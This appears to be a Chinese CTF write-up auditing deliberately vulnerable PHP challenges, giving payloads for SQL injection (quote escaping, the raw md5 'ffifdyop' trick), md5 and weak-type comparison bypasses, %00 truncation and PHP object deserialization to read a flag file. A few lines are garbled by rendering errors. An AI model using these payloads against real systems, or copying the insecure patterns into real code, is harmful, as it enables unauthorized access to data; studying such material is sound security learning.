php_bugs代碼審計(二)

16、SQL注入註釋外包’及or繞過

<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
 
function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}
 
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
 
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}
 
echo $flag;
?>

目標!resultmysql_num_rows(result || mysql\_num\_rows(result) < 1爲真,並沒有對內容進行檢測,不需要是admin也行
幾個函數提一下:

  • get_magic_quotes_gpc,獲取當前php.ini中的magic_quotes_gpc 的配置(on/off)。如果 magic_quotes_gpc 爲off時返回 0,否則返回 1。在 PHP 5.4.0 起將始終返回 FALSE。 magic_quotes_gpc是一種轉義配置,所有的 ’ (單引號)、" (雙引號)、\(反斜槓)和 NUL’s 被一個反斜槓自動轉義。
  • stripslashes,去掉反斜槓
語法
stripslashes(string)

例:echo stripslashes("Who\'s Bill Gates?");
運行結果:Who's Bill Gates?

echo stripslashes("Who\\'s Bill Gates?");
運行結果:Who's Bill Gates?

echo stripslashes("Who\\\'s Bill Gates?");
運行結果:Who\'s Bill Gates?
  • htmlentities,把字符轉換爲 HTML 實體。ENT_QUOTES是轉換雙引號和單引號,單引號被轉換爲&#039;

也就是說,參數可能被去掉\,但是單引號和雙引號一定會被html實體化,所以參數不能有單引號和雙引號,而現今版本的php,get_magic_quotes_gpc是被廢掉的

php中查詢語句:
SELECT * FROM users WHERE name=’’.KaTeX parse error: Can't use function '\'' in math mode at position 11: username.'\̲'̲ AND pass=\''.password.’’;
sql中也就是
SELECT * FROM users WHERE name=‘username’ AND pass=‘password’;
參數的單引號是拼接上去的,而我們輸入單引號就會被html實體化(雖然在頁面上顯示的仍然是單引號)

payload:
?username=\&password= or 1%23

形成查詢語句:SELECT * FROM users WHERE name=’\’ AND pass=’ or 1%23’
也就是PHP語句的name後面的單引號被轉義
這樣最後的單引號被註釋了,因爲有個單引號被轉義,所以name就是’AND pass =,or 1之後就爲true。

17

這個跟9重複了

18、md5()函數===使用數組繞過

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

弱類型的話可以碰撞解決,因爲md5處理數組返回Null,所以=使用數組繞過

payload:?username[]=1&password[]=2

19、ereg()函數strpos() 函數用數組返回NULL繞過.php

<?php  
$flag = "flag";  
   
if (isset ($_GET['password'])) {  
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
        echo 'You password must be alphanumeric';  
    else if (strpos ($_GET['password'], '--') !== FALSE)  
        die('Flag: ' . $flag);  
    else  
        echo 'Invalid password';  
}  
?>

方法一:ereg和strops處理數組返回NULL繞過
payload:?password[]=

方法二:ereg的%00截斷繞過
payload:?password=1%00–

20、十六進制與數字比較

<?php

error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 碼值
    $nine = ord('9'); //ord — 返回字符的 ASCII 碼值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

16進制代替10進制
payload:?password=0xdeadc0de

21、數字驗證正則繞過

<?php

error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 執行一個正則表達式匹配
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字  [[:upper:]] 任何大寫字母  [[:lower:]] 任何小寫字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3,必須包含四種類型三種與三種以上
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

[[:punct:]] 任何標點符號 [[:digit:]] 任何數字 [[:upper:]] 任何大寫字母 [[:lower:]] 任何小寫字母

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
//意爲必須是12個字符以上(非空格非TAB之外的內容)
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr)) 
//意爲匹配到的次數要大於6次
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何標點符號 [[:digit:]] 任何數字  [[:upper:]] 任何大寫字母  [[:lower:]] 任何小寫字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break; 

//意爲必須要有大小寫字母,數字,字符內容三種與三種以上

而且還要值爲"42"

payload:
42.00e+00000000000

420.000000000e-1

22、弱類型整數大小比較繞過

<?php
error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
} 
?>

方法一:%00繞過,如果password結尾或開頭是%00,那麼就不會被is_numeric檢測爲數字
payload:1337%00
(%001337不行。。。說好的前面或後面都行)

方法二:弱類型,payload:1337a

23、md5函數驗證繞過

<?php

error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}
?>

方法一:md5處理數組返回null,弱類型的時候null==0
方法二:md5碰撞,開頭爲0的md5值進行碰撞

24、md5函數true繞過注入

$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);

$sql = “SELECT * FROM users WHERE password = '”.md5(password,true)."";md5(password,true)."'"; md5(password,true)是得到16位原始二進制格式的字符串。
這樣怎麼構造繞過呢?
神奇方法來了
ffifdyop經過md5的true轉化後是276f722736c95d99e921722cf9ed621c,再轉換成字符串正好是’or’xxx(xxx是亂碼),正好構造出語句SELECT * FROM admin WHERE pass = '‘or’xxx’,成功繞過

25、switch

<?php
error_reporting(0);

if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}
?>

字符串如果前面不含數字,會被轉換爲0,所以case 0被執行,因爲case 0沒有break,所以一直會交到有break的地方纔會終止,這個直接包含進來flag.php即可。

payload:?which=flag

26、unserialize()序列化

<!-- 題目:http://web.jarvisoj.com:32768 -->

<!-- index.php -->
<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

<!-- shield.php -->

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

<!-- showimg.php -->
<?php
	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		//stripos — 查找字符串首次出現的位置(不區分大小寫)
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

一個反序列化漏洞的簡單模板吧,showimg.php沒啥用。
反序列化之後filename是pctf.php即可

payload:?class=O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章